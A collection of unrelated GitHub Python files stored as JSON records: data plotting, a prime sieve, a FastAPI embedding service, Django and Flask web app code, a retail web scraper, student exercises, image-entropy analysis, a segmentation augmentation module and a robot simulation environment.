{"seq_id":"2499702100","text":"import matplotlib.pyplot as plt\nimport seaborn as sns\nimport pandas as pd\nimport os\n\ndef number_loans_per_gender(df):\n\n    df['mnth_yr2'] = df['date'].apply(lambda x: x.strftime('%Y-%m'))\n\n    # Add a column for quarter.\n    df['Qtr'] = pd.PeriodIndex(pd.to_datetime(df.mnth_yr2), freq='Q')\n\n    genderdf = df.groupby(['mnth_yr2', 'gender']).agg('count')[['id']]\n\n    gd_df = df.groupby(['Qtr', 'gender'])['id'].count().reset_index()\n    gd_df = gd_df[gd_df['Qtr'] < pd.Period('2017Q3')]\n    gd_df = gd_df.pivot(index='Qtr', columns='gender')\n\n    gd_df.plot.line(\n        color=['green', 'steelblue'],\n        alpha = 0.8,\n        figsize=(14,8),\n        marker='.',\n        markersize=12,\n    )\n    plt.legend(labels=['Female', 'Male'], title='')\n    plt.title('Number of Loans per Gender and Quarter')\n    plt.ylabel('Number of Loans')\n    plt.xlabel('Quarter')\n    plt.savefig(os.path.join('image', 'num_loans_per_gender.png'))\n    plt.show()\n","repo_name":"feng443/RUDS-Proj1-Kiva-Crowd-Funding-Visualization","sub_path":"narcos/number_loans_per_gender.py","file_name":"number_loans_per_gender.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"18172578133","text":"start, end = map(int, input().split())\nif start < 2:\n    start = 2\nprimes = set(a for a in range(start, end+1))\n\nfor i in range(2, end+1):\n    primes -= set(range(i*2, end+1, i))\n\n\nfor i in sorted(list(primes)):\n    print(i)\n","repo_name":"lein-hub/python_basic","sub_path":"baekjoon/1929.py","file_name":"1929.py","file_ext":"py","file_size_in_byte":225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33873540625","text":"# -*- coding: utf-8 -*-\n\n\nimport argparse\nimport uvicorn\nimport sys\nimport os\nfrom fastapi import FastAPI, Query\nfrom starlette.middleware.cors import CORSMiddleware\nimport torch\nfrom loguru import logger\nfrom typing import List\nfrom pydantic import BaseModel, Field\nimport numpy as np\n\n\nsys.path.append('..')\nfrom text2vec import SentenceModel\n\nclass Item(BaseModel):\n    input: str = Field(..., max_length=512)\n\npwd_path = os.path.abspath(os.path.dirname(__file__))\nuse_cuda = torch.cuda.is_available()\nlogger.info(f'use_cuda:{use_cuda}')\n# Use fine-tuned model\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--model_name_or_path\", type=str, default=\"shibing624/text2vec-base-chinese\",\n                    help=\"Model save dir or model name\")\nargs = parser.parse_args()\ns_model = SentenceModel(args.model_name_or_path)\n\ndef _normalize_embedding_2D(vec: np.ndarray) -> np.ndarray:\n  vec = np.ascontiguousarray(vec)\n  norm = np.sqrt(vec.dot(vec))\n  if norm != 0.0:\n    vec /= norm\n  return vec\n\n# define the app\napp = FastAPI()\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=[\"*\"],\n    allow_credentials=True,\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"])\n\n\n@app.get('/')\nasync def index():\n    return {\"message\": \"index, docs url: /docs\"}\n\n\n@app.post('/emb')\nasync def emb(item: Item):\n    try:\n        embeddings = s_model.encode(item.input)\n        embeddings = np.array(embeddings)\n        normalized_embeddings = _normalize_embedding_2D(embeddings)\n        result_dict = {'emb': normalized_embeddings.tolist()}\n        logger.debug(f\"Successfully get sentence embeddings, q:{item.input}\")\n        return result_dict\n    except Exception as e:\n        logger.error(e)\n        return {'status': False, 'msg': e}, 400\n\n\nif __name__ == '__main__':\n    uvicorn.run(app=app, host='0.0.0.0', port=8001)\n","repo_name":"CarryChang/sentence_vec_service","sub_path":"t2v_service.py","file_name":"t2v_service.py","file_ext":"py","file_size_in_byte":1825,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"42267846946","text":"# -*- coding: utf-8 -*-\nfrom django.conf.urls import url\nfrom django.views.generic import TemplateView\n\nfrom . import views\n\nurlpatterns = [\n\n    # Main API views\n    url(\n        regex=\"^ProcessPDF/$\",\n        view=views.pdf_upload,\n        name=\"pdf_upload\",\n    ),\n    url(\n        regex=\"^ListDocuments/$\",\n        view=views.ListDocuments.as_view(),\n        name=\"List_Documents\",\n    ),\n    url(\n        regex=\"^ListDocument_URLs/(?P<pk>\\d+)/$\",\n        view=views.ListDocumentURLs.as_view(),\n        name=\"List_Document_URLs\",\n    ),\n    url(\n        regex=\"^ListURLs/$\",\n        view=views.ListURLs.as_view(),\n        name=\"List_URLs\",\n    ),\n\n    # Models management Views\n    url(\n        regex=\"^CrawledURL/~create/$\",\n        view=views.CrawledURLCreateView.as_view(),\n        name='CrawledURL_create',\n    ),\n    url(\n        regex=\"^CrawledURL/(?P<pk>\\d+)/~delete/$\",\n        view=views.CrawledURLDeleteView.as_view(),\n        name='CrawledURL_delete',\n    ),\n    url(\n        regex=\"^CrawledURL/(?P<pk>\\d+)/$\",\n        view=views.CrawledURLDetailView.as_view(),\n        name='CrawledURL_detail',\n    ),\n    url(\n        regex=\"^CrawledURL/(?P<pk>\\d+)/~update/$\",\n        view=views.CrawledURLUpdateView.as_view(),\n        name='CrawledURL_update',\n    ),\n    url(\n        regex=\"^CrawledURL/$\",\n        view=views.CrawledURLListView.as_view(),\n        name='CrawledURL_list',\n    ),\n    url(\n        regex=\"^Document/~create/$\",\n        view=views.DocumentCreateView.as_view(),\n        name='Document_create',\n    ),\n    url(\n        regex=\"^Document/(?P<pk>\\d+)/~delete/$\",\n        view=views.DocumentDeleteView.as_view(),\n        name='Document_delete',\n    ),\n    url(\n        regex=\"^Document/(?P<pk>\\d+)/$\",\n        view=views.DocumentDetailView.as_view(),\n        name='Document_detail',\n    ),\n    url(\n        regex=\"^Document/(?P<pk>\\d+)/~update/$\",\n        view=views.DocumentUpdateView.as_view(),\n        name='Document_update',\n    ),\n    url(\n        regex=\"^Document/$\",\n        view=views.DocumentListView.as_view(),\n        name='Document_list',\n    ),\n    ]\n","repo_name":"pkeeper/pdf-crawler-test","sub_path":"pdf_crawler_test/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22663745731","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nimport pandas as pd\r\nimport time\r\nfrom datetime import date\r\n\r\ndata=pd.DataFrame(columns=['elemento', 'descuento', 'marca','genero'])\r\nstart_time = time.time()\r\npage = requests.get(\"https://simple.ripley.cl/moda-hombre/destacados/todo-moda-hombre?m-moda-hombre-vertodo=&s=mdco\")\r\nsoup    = BeautifulSoup(page.content, 'html.parser')\r\nwithtag=soup.find_all(\"div\", {\"class\": \"catalog-product-item catalog-product-item--moda catalog-product-item__container col-xs-6 col-sm-6 col-md-4 col-lg-4\"})\r\nfor i in range(len(withtag)):\r\n        #print(withtag[i].find('a').get('href')) #concatenation with simple.ripley.... is needed.\r\n        #print( withtag['i'].find(\"div\",{\"class\",\"catalog-product-details__logo-container\"}))\r\n    try:\r\n        if withtag[i].find(\"div\", {\"class\": \"catalog-product-details__discount-tag\"}).get_text():\r\n            data=data.append({'elemento':'https://simple.ripley.cl'+withtag[i].find('a').get('href'),'descuento':withtag[i].find(\"div\", {\"class\": \"catalog-product-details__discount-tag\"}).get_text().replace('-',''),\r\n                                              'marca':withtag[i].find(\"div\",{\"class\",\"brand-logo\"}).find('span').get_text(),'genero':'hombre'}, ignore_index=True)\r\n                #print( withtag[i].find(\"div\",{\"class\",\"brand-logo\"}).find('span').get_text())\r\n                #print(withtag[i].find(\"div\", {\"class\": \"catalog-product-details__discount-tag\"}).get_text().replace('-',''),i)\r\n                # PRECIO NORMAL FUNCIONANDO ---> print(withtag[i].find(\"li\", {\"class\": \"catalog-prices__list-price catalog-prices__lowest catalog-prices__line_thru\"}).get_text())\r\n    except:\r\n        continue\r\nprint(\"--- %s seconds ---\" % (time.time() - start_time)) \r\nnow = date.today()\r\ncurrent_time = now.strftime(\"%d/%m/%Y\").replace('/','_')\r\ndata.to_excel('ripleyh'+current_time+'.xlsx')     ","repo_name":"horaciosolis1991/Python-Projects","sub_path":"web-scraping/webscraping_sample.py","file_name":"webscraping_sample.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"1798443226","text":"import os\nimport json\nimport time\nimport click\n\nfrom tabulate import tabulate\n\nimport educube.util.display as display\nimport educube.util.educube_conn as educonn\nimport educube.lib.term as term_commands\n\nimport logging\nlogger = logging.getLogger(__name__)\n\nCOMMANDS = {\n    # command name : function_name in lib/telem.py\n    \"read_telem\": \"read_telemetry\", \n    \"write_cmd\": \"write_command\",\n}\n\n@click.group()\ndef cli():\n    logger.info(\"Setting up commands\")\n    for cmd_name, func_name in COMMANDS.items():\n        if hasattr(term_commands, func_name):\n            COMMANDS[cmd_name] = getattr(term_commands, func_name)\n        else:\n            logger.warning(\"Command not found in lib/term.py (%s)\" % cmd_name)\n            del COMMANDS[cmd_name]\n    pass\n\n\n@cli.command()\n@click.pass_context\ndef start(ctx):\n    \"\"\"\n    Starts an interactive CLI session with the satellite\n    \"\"\"\n    info_banner(\"Starting up EduCube CLI session\")\n    connection=ctx.obj.get('connection')\n    educube_connection = educonn.get_connection(connection)\n\n    try:\n        while True:\n            show_menu()\n            cmd_name = read_command()\n            process_command(cmd_name, educube_connection)\n            click.pause()\n    except KeyboardInterrupt:\n        print(\"Exiting..\")\n    except click.Abort as e:\n        print(\"Exiting..\")\n    except Exception:\n        logger.exception(\"Unexpected error!\")\n    educonn.shutdown_all_connections()\n\n\n######################################\n# Util\n######################################\ndef info_msg(txt):\n    msg(txt, logging.INFO)\n\ndef info_banner(txt):\n    msg(txt, logging.INFO, banner=\"#\")\n\ndef msg(txt, level=None, banner=\"\", banner_width=80, color=None):\n    \"\"\"\n    Decorative text feedback\n    \"\"\"\n    if not color and not level:\n        color='white'\n    elif level and not color:\n        if level == logging.DEBUG:\n            color='cyan'\n        if level == logging.INFO:\n            color='blue'\n        if level == logging.WARNING:\n            color='yellow'\n    if len(banner) > 0:\n        click.secho(banner*banner_width, fg=color)\n    click.secho(banner + \" \" + txt, fg=color)\n    if len(banner) > 0:\n        click.secho(banner*banner_width, fg=color)\n\n\n######################################\n# Terminal Interactive CLI\n######################################\n\ndef show_menu():\n    click.clear()\n    msg(\"EduCube CLI menu\", level=logging.INFO, banner=\"#\", color='green')\n    command_table = []\n    for cmd_name, command in COMMANDS.items():\n        command_table.append([\n            cmd_name, command.__doc__\n        ])\n    print(tabulate(command_table,\n        headers=[\"Command name\",\"Description\"], \n        tablefmt=\"fancy_grid\"\n    ))\n\n\ndef read_command():\n    cmd_name = None\n    while cmd_name not in COMMANDS.keys():\n        if cmd_name: \n            msg(\"Bad command. Pick from (%s)\" % COMMANDS.keys(), level=logging.WARNING)\n        cmd_name = click.prompt(\"Enter a command from the CLI menu table: \")\n    return cmd_name\n\n\ndef process_command(cmd, educube_connection):\n    func = COMMANDS.get(cmd)\n    func(educube_connection)\n","repo_name":"ezeakeal/educube_client","sub_path":"educube/commands/term.py","file_name":"term.py","file_ext":"py","file_size_in_byte":3089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"24666012294","text":"from flask import render_template, request, redirect, url_for, jsonify\nfrom src import app\nfrom src.models.mdsSesion import SesionModel\nfrom src.models.mdsSpaceAcad import EspacioAcademicoModel\nfrom src.models.mdsEstudiantes import EstudianteModel\nsesionModel = SesionModel()\nespacioModel = EspacioAcademicoModel()\nestudianteModel = EstudianteModel()\n@app.route('/sesiones', methods=['GET','POST'])\ndef seciones():\n    sesiones = sesionModel.listarSesion()\n    espacios = espacioModel.listarEspacios()\n    return render_template('sesion/sesion.html',sesiones=sesiones, espacios=espacios)\n\n\n@app.route('/sesiones/crear', methods=['GET','POST'])\ndef agregarSesion():\n    if request.method == 'POST':\n        fecha = request.form['fecha']\n        hora_inicio = request.form['hora_inicio']\n        hora_final = request.form['hora_final']\n        materia = request.form['espacioacademico']\n        sesionModel.crearSesion(fecha, hora_inicio,hora_final,materia)\n        idsesion = sesionModel.idsesion()\n        falta=1\n        print(\"id sesion:\",idsesion)\n        estudiante = estudianteModel.idAllstudiantes(materia)\n        for estudent in estudiante:\n            for i in estudent:\n                sesionModel.sesionEtudiane(idsesion,i,falta)\n                print(\"idestudiate\",i)\n            \n        print(estudiante)\n        return  redirect(url_for('seciones'))\n    else:\n        return redirect(url_for('seciones'))\n\n@app.route('/sesiones/materia/<idsesion>', methods=['GET','POST','PUT'])\ndef sesionMateria(idsesion):\n    id=idsesion\n    estudianteSesion = sesionModel.estudianteListMateria(idsesion)\n    if request.method == 'GET':\n        print(estudianteSesion)\n        print(idsesion)\n        return render_template(\"sesion/listarEstudianteSesion.html\",estudianteSesions=estudianteSesion,id=idsesion)\n    elif request.method == 'POST':\n        \n        data = request.form['inlineRadioOptions']\n        datos = data.split(',')\n        f=0\n        v=1\n        idstudiante = int(datos[0])\n        asistencia = int(datos[1])\n        select = datos[2]\n        print(data)\n        if select == \"+\":\n            print(\"op mas\",v)\n            \n            sesionModel.editarEstudianteMateria(idstudiante,v)\n            estudianteSesion = sesionModel.estudianteListMateria(idsesion)\n            return render_template(\"sesion/listarEstudianteSesion.html\",estudianteSesions=estudianteSesion,id=idsesion)\n        elif select ==\"-\":\n            print(\"op menors\",f)\n            \n            sesionModel.editarEstudianteMateria(idstudiante,f)\n            estudianteSesion = sesionModel.estudianteListMateria(idsesion)\n            return render_template(\"sesion/listarEstudianteSesion.html\",estudianteSesions=estudianteSesion,id=idsesion)\n\n@app.route('/sesiones/editar/<int:id>', methods=['GET'])\ndef editarsesion(id):\n    if request.method ==\"GET\":\n        #espacios = espacioModel.listarEspacios()\n        datosesiones = sesionModel.id_sesion(id)\n        print(datosesiones)\n        return render_template(\"sesion/editarSesion.html\",datosesiones=datosesiones)\n\n@app.route('/sesiones/actualizado', methods=['POST'])\ndef actualizarSesion():\n    if request.method ==\"POST\":\n        idseesion =int( request.form['idsesion'])\n        fecha = request.form['fecha']\n        hora_inicio = request.form['hora_inicio']\n        hora_final = request.form['hora_final']\n\n        sesionModel.editarSesion(idseesion,fecha,hora_inicio,hora_final)\n        return redirect(url_for('seciones'))\n\n@app.route('/sesiones/eliminar/<int:id>')\ndef eliminar_sesion(id):\n    sesionModel.eliminarSesion(id)\n    return redirect(url_for('seciones'))\n\n\n \n        \n\n\n","repo_name":"Edijosmen/control-asistencia","sub_path":"src/controllers/sesion.py","file_name":"sesion.py","file_ext":"py","file_size_in_byte":3633,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22265824822","text":"'''\n    creates the model for order app\n'''\nfrom django.db import models\nfrom api.user.models import CustomUser\nfrom api.product.models import Product\n\nclass Cart(models.Model):\n    '''\n        A class to represent Cart.\n\n        ...\n\n        Attributes\n        ----------\n        user : foreign key CustomUser\n            user of cart\n        total : decimal\n            describe category\n        is_ordered : boolean\n            shows whether the items are in cart or it has been ordered\n        date : date\n            date when the cart is created\n\n        Methods\n        -------\n        str(self):\n            return the string\n    '''\n\n    user = models.ForeignKey(CustomUser,on_delete=models.CASCADE,null=True,blank=True)\n    total = models.DecimalField(max_digits=10, decimal_places=2)\n    is_ordered = models.BooleanField(default=False)\n    date = models.DateField(auto_now_add=True)\n    def __str__(self):\n        return str(self.pk)\n\n    class Meta:\n        '''\n            A class that defines name of table in DB and in django admin\n        '''\n        db_table = 'cart'\n\nclass CartProduct(models.Model):\n    '''\n        A class to represent CartProduct\n\n        ...\n\n        Attributes\n        ----------\n        cart : foreign key(Cart)\n            cartproduct belongs to which cart\n        product : many to many field (Product)\n            product is cart\n        price : positive int\n            price of particular product\n        quantity : positive int\n            quantity of particluar product\n        subtotal : decimal\n            total price of particular product according to quantity\n\n        Methods\n        -------\n        get_products(self):\n            return product details\n    '''\n\n    cart = models.ForeignKey(Cart,on_delete=models.CASCADE)\n    product = models.ManyToManyField(Product)\n    price = models.PositiveIntegerField()\n    quantity = models.PositiveIntegerField()\n    subtotal = models.DecimalField(max_digits=10, decimal_places=2)\n    def get_products(self):\n        '''\n            return product details\n        '''\n        return \"\\n\".join([p.name for p in self.product.all()])\n\n    class Meta:\n        '''\n            A class that defines name of table in DB and in django admin\n        '''\n        db_table = 'cartproduct'\n\nclass Order(models.Model):\n    '''\n        A class to represent CartProduct\n\n        ...\n\n        Attributes\n        ----------\n        cart : one to one(Cart)\n            order is of which cart\n        transaction_id : char\n            transaction id\n        total : decimal\n            total price of all products in cart\n        created_at : datetime\n            date time when order is created\n        updated_at : datetime\n            date time when order is updated\n\n        Methods\n        -------\n        get_products(self):\n            return product details\n    '''\n\n    cart  = models.OneToOneField(Cart,on_delete=models.CASCADE)\n    transaction_id = models.CharField(max_length=150,default=0)\n    total = models.DecimalField(max_digits=10, decimal_places=2)\n    created_at = models.DateTimeField(auto_now_add=True)\n    updated_at = models.DateTimeField(auto_now=True)\n\n    class Meta:\n        '''\n            A class that defines name of table in DB and in django admin\n        '''\n        db_table = 'order'\n    ","repo_name":"Kiya-Bhandari/E-Retail","sub_path":"eretail_backend/api/order/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33846403825","text":"'''\nName: SungJoon Park\nID: 01514170\n'''\nn = int(input())\n\no = 0 #chall_point\nc = 0 #crack_point\n\nfor i in range(n):\n    cor = str(input()) #correct answer of question\n    ans = str(input()) #challenger's answer of question\n    cra = str(input()) #guess of result of crack\n    if cor == ans and cra == 'correct': #crack guesses the correction of the challenger\n        c += 1 #point for crack\n        o += 1 #point for challenger\n    if cor != ans and cra == 'wrong': #crack guesses the wrong of the challenger\n        c += 1 #point for crack\n    if cor == ans and cra == 'wrong': #challenger is correct challenger earns a point, but crack guesses wrong of the correction\n        o += 1 #point for challenger\n\n\nif c >= n/2 and c > o: #the condition for the crack to win. crack must score more than half of the number of question and crack must score more than the challenger.\n    print('crack wins',c,'points against',o)\nif o > c or c < n/2: # the condition for the challenger to win. challenger must score more than the crack or when the crack's score is less than the half of the question.\n    print('challenger wins', o, 'points against', c)\nif c == o and c > n/2: #the condition is a tie. both crack and challenger must have the same score and the crack must score higher than the half of the number of question.\n    print('ex aequo: both contestants score',o,'points')\n","repo_name":"isk02206/python","sub_path":"informatics/BA_1 2017-2018/series_3/Challenger or crack.py","file_name":"Challenger or crack.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10992857839","text":"# -*- coding: utf-8 -*-\n\"\"\"\n1. Пользователь вводит данные о количестве предприятий, \nих наименования и прибыль за четыре квартала для каждого предприятия. \nПрограмма должна определить среднюю прибыль (за год для всех предприятий) \nи отдельно вывести наименования предприятий, чья прибыль выше среднего \nи ниже среднего.\n\"\"\"\nimport collections as c\n\nnum = int(input('factories total: '))\nfactory = {}\n\nwhile num > 0:\n    p = input('input factory name: ')\n    defdict = c.defaultdict(list)\n    for i in range(1, 5):\n        val = int(input(f'q{i} revenue: '))\n        defdict[p].append(val)\n    factory.update(defdict)\n    num-=1\n\ntotals = {k: sum(v) for (k, v) in factory.items()}\navg = sum(totals.values()) / len(totals.values())\n\nless, more = [], []\nfor k, v in totals.items():\n    if v < avg:\n        less.append(k)\n    elif v > avg:\n        more.append(k)\n\n# print(factory)\nprint(f'factory totals: {totals}')\n# print(f'average rev: {avg}')\nprint(f'factory rev less than average {avg}: {less}')    \nprint(f'factory rev more than average {avg}: {more}')      ","repo_name":"hellge83/AI_alg_python","sub_path":"les05/les05_01.py","file_name":"les05_01.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73115285222","text":"import numpy as np\nimport sys\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\nimport torch\nfrom tqdm import tqdm\nfrom torchvision import datasets, transforms\nfrom tqdm.autonotebook import tqdm\nfrom sklearn.metrics.cluster import entropy\n\ndef glcm_entropy(data_path, dl, IMGSIZE, ext='JPG'):\n\n    ds = np.zeros((1*IMGSIZE*IMGSIZE))\n    for imgs, _ in tqdm(dl):\n        ds=np.vstack((ds, imgs.numpy().reshape(imgs.shape[0], imgs.shape[1]*imgs.shape[2]*imgs.shape[3])))\n    ds = ds[1:]\n\n    entropies = np.array([])\n    for gray_img in tqdm(ds):\n        ee = entropy(gray_img.reshape(1,IMGSIZE,IMGSIZE))\n        entropies = np.append(entropies, ee)\n\n    print('Mean:', entropies.mean(), '| STD:', entropies.std())\n\n    plt.hist(entropies, bins=np.arange(min(entropies), max(entropies), step=1e-2))\n    plt.xticks(np.arange(min(entropies), max(entropies), .5))\n    plt.xlabel('GLCM entropy')\n    plt.ylabel('Frequency')\n    plt.title(f'Frequencies of GLCM for {data_path.split(\"/\")[2]} dataset')\n    plt.savefig(f'entropy_hist_{data_path.split(\"/\")[2]}.png')\n\n\nif __name__ == '__main__':\n    _, data_path, imsize, ext = sys.argv\n    imsize = int(imsize)\n\n    data_transforms = transforms.Compose([\n        transforms.Grayscale(),\n        transforms.ToTensor(),\n    ])\n    image_dataset = datasets.ImageFolder(data_path, data_transforms)\n    dataloader = torch.utils.data.DataLoader(image_dataset, batch_size=10, shuffle=True, num_workers=4)\n\n    glcm_entropy(data_path=data_path, dl=dataloader, IMGSIZE=imsize, ext=ext)\n","repo_name":"danibt656/final-thesis","sub_path":"notebooks/intra-class-var.py","file_name":"intra-class-var.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6100178243","text":"from django.contrib import admin\nfrom blog.models import Post, BlogComment\n# Register your models here.\n\nadmin.site.site_header = \"BlogFriends Admin\"\nadmin.site.site_title = \"BlogFriends Admin Panel\"\nadmin.site.index_title = \"Welcome to  BlogFriends Admin\"\n\n\n@admin.register(Post)\nclass PostAdmin(admin.ModelAdmin):\n    class Media:\n        js = ('tinyInject.js')\n\n\nadmin.site.register(BlogComment)\n","repo_name":"md-arru/Icoder","sub_path":"blog/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74280129700","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\n\nclass class_dsu(nn.Module):\n    \"\"\"\n    class level aumentation\n    \n    \"\"\"\n    def __init__(self, num_class):\n        super(class_dsu, self).__init__()\n        self.num_class = num_class\n        self.eps = 1e-5\n\n    def mask_generate(self, label, class_idx):\n        # init\n        inclass = False\n        mask = torch.zeros_like(label)\n        mask = torch.where(label==class_idx, 1., 0.)\n        if torch.sum(mask, dim = [0,1,2]) > 0:\n            inclass=True\n        return inclass, mask\n        \n    def classnorm_std(self, x, mu, class_mask, ClassPixel_num):\n        class_var = (((class_mask*(x - mu.reshape(x.shape[0], x.shape[1], 1, 1))).pow(2)).sum(dim=[2,3]))/ClassPixel_num\n        class_std = (class_var + self.eps).sqrt()\n        return class_std\n\n\n    def _reparameterize(self, mu, std):\n        epsilon = torch.randn_like(std)\n        return mu + epsilon * std\n\n    def sqrtvar(self, x):\n        t = (x.var(dim=0, keepdim=True) + self.eps).sqrt()\n        t = t.repeat(x.shape[0], 1)\n        return t\n\n    def classuncertainty(self, x, class_mask):\n        ClassPixel_num = class_mask.sum(dim = [2,3]) # Bx1\n        a_ = torch.ones_like(ClassPixel_num).cuda()\n        ClassPixel_num = torch.where(ClassPixel_num==0, a_, ClassPixel_num)\n        wh_size = x.size()[2]*x.size()[3]\n        mean = x.mean(dim=[2, 3], keepdim=False)*(wh_size)/ClassPixel_num # B,C / B,1\n        std = self.classnorm_std(x, mean, class_mask, ClassPixel_num)\n\n        sqrtvar_mu = self.sqrtvar(mean)\n        sqrtvar_std = self.sqrtvar(std)\n        \n        beta = self._reparameterize(mean, sqrtvar_mu)\n        gamma = self._reparameterize(std, sqrtvar_std)\n\n        x = (x - mean.reshape(x.shape[0], x.shape[1], 1, 1)) / std.reshape(x.shape[0], x.shape[1], 1, 1)\n        x = x * gamma.reshape(x.shape[0], x.shape[1], 1, 1) + beta.reshape(x.shape[0], x.shape[1], 1, 1)\n        return x\n\n    \n    def forward(self, x, gt):  # red\n        B, C, H, W = x.size() \n        class_x = torch.zeros_like(x).cuda()\n        class_arr = np.arange(0, self.num_class)\n        class_arr = np.append(class_arr, 255)\n        \n        for i in class_arr:\n            inclass, class_mask = self.mask_generate(gt, i) # B, H, W\n            if inclass:\n                class_mask = F.interpolate(torch.unsqueeze(class_mask, 1), size=(H, W), mode='nearest')\n                masked_x = x * class_mask\n                masked_x = class_mask * self.classuncertainty(masked_x, class_mask)\n                class_x += masked_x\n        return class_x\n","repo_name":"vuc802/ICIP23_Dual-Level","sub_path":"network/class_dsu.py","file_name":"class_dsu.py","file_ext":"py","file_size_in_byte":2598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3994580832","text":"#!/usr/bin/env python3\nimport time\nimport math\nfrom datetime import datetime\nfrom time import sleep\nimport numpy as np\nimport random\nimport cv2\nimport os\nimport argparse\nimport torch\nfrom math import sin,cos,acos\nimport matplotlib.pyplot as plt\n\nimport sys\nsys.path.append('./Eval')\nsys.path.append('./')\n\nfrom env_8 import Engine8\nfrom utils_env import get_view,safe_path,cut_frame,point2traj,get_gripper_pos,backup_code\n\ndef angleaxis2quaternion(angleaxis):\n  angle = np.linalg.norm(angleaxis)\n  axis = angleaxis / (angle + 0.00001)\n  q0 = cos(angle/2)\n  qx,qy,qz = axis * sin(angle/2)\n  return np.array([qx,qy,qz,q0])\n\ndef quaternion2angleaxis(quater):\n  angle = 2 * acos(quater[3])\n  axis = quater[:3]/(sin(angle/2)+0.00001)\n  angleaxis = axis * angle\n  return np.array(angleaxis)\n\nclass Engine16(Engine8):\n    def __init__(self, worker_id, opti, p_id, taskId=5, maxSteps=15, n_dmps=3, cReward=True):\n        super(Engine16,self).__init__(worker_id, opti, p_id, taskId=taskId, maxSteps=maxSteps, n_dmps=n_dmps, cReward=cReward)\n        self.opti = opti\n\n    def step_dmp(self,action,f_w,coupling,reset,test=False):\n        if reset:\n          action = action.squeeze()\n          self.start_pos = self.robot.getEndEffectorPos()\n          self.start_orn = quaternion2angleaxis(self.robot.getEndEffectorOrn())\n          self.start_gripper_pos = self.robot.getGripperPos()\n          self.start_status = np.array([self.start_pos[0],self.start_pos[1],self.start_pos[2],self.start_orn[0],self.start_orn[1],self.start_orn[2],0.0]).reshape((-1,))\n          self.dmp.set_start(np.array(self.start_status)[:self.dmp.n_dmps])\n          dmp_end_pos = [x+y for x,y in zip(self.start_status,action)]\n          self.dmp.set_goal(dmp_end_pos)\n          if f_w is not None:\n            self.dmp.set_force(f_w)\n          self.dmp.reset_state()\n          #self.traj = self.dmp.gen_traj()\n          self.actual_traj = []\n          p1 = self.start_pos \n          p1 = np.array(p1)\n          self.dmp.timestep = 0\n          small_observation = self.step_within_dmp (coupling)\n          lenT = len(self.dmp.force[:,0])\n        else:\n          small_observation = self.step_within_dmp(coupling)\n        seg = None\n        observation_next, seg = self.get_observation(segFlag=True)\n        reward = 0\n        done = False\n        suc = False\n        suc_info = self.get_success()\n        if self.dmp.timestep >= self.dmp.timesteps:\n          print(\"seg\",seg)\n          reward = self.get_reward(seg)\n          done = True\n          self.success_flag = suc_info\n        else:\n          if np.sum(seg == 167772162) < 1:\n            done = True\n            self.success_flag = False\n        return observation_next, reward, done, self.success_flag\n\n    def get_success(self,seg=None):\n        box = self.p.getAABB (self.box_id, -1)\n        box_center = [(x + y) * 0.5 for x, y in zip (box[0], box[1])]\n        obj = self.p.getAABB (self.obj_id, -1)\n        obj_center = [(x + y) * 0.5 for x, y in zip (obj[0], obj[1])]\n\n        # check whether the object is still in the gripper\n        left_closet_info = self.p.getContactPoints (self.robotId, self.obj_id, self.robot.gripper_left_tip_index, -1)\n        right_closet_info = self.p.getContactPoints (self.robotId, self.obj_id, self.robot.gripper_right_tip_index, -1)\n        if len (left_closet_info) > 0 and len (right_closet_info) > 0:\n          return True\n        else:\n          return False\n","repo_name":"stanford-iprl-lab/Concept2Robot","sub_path":"simulation/env_16.py","file_name":"env_16.py","file_ext":"py","file_size_in_byte":3421,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"35"}
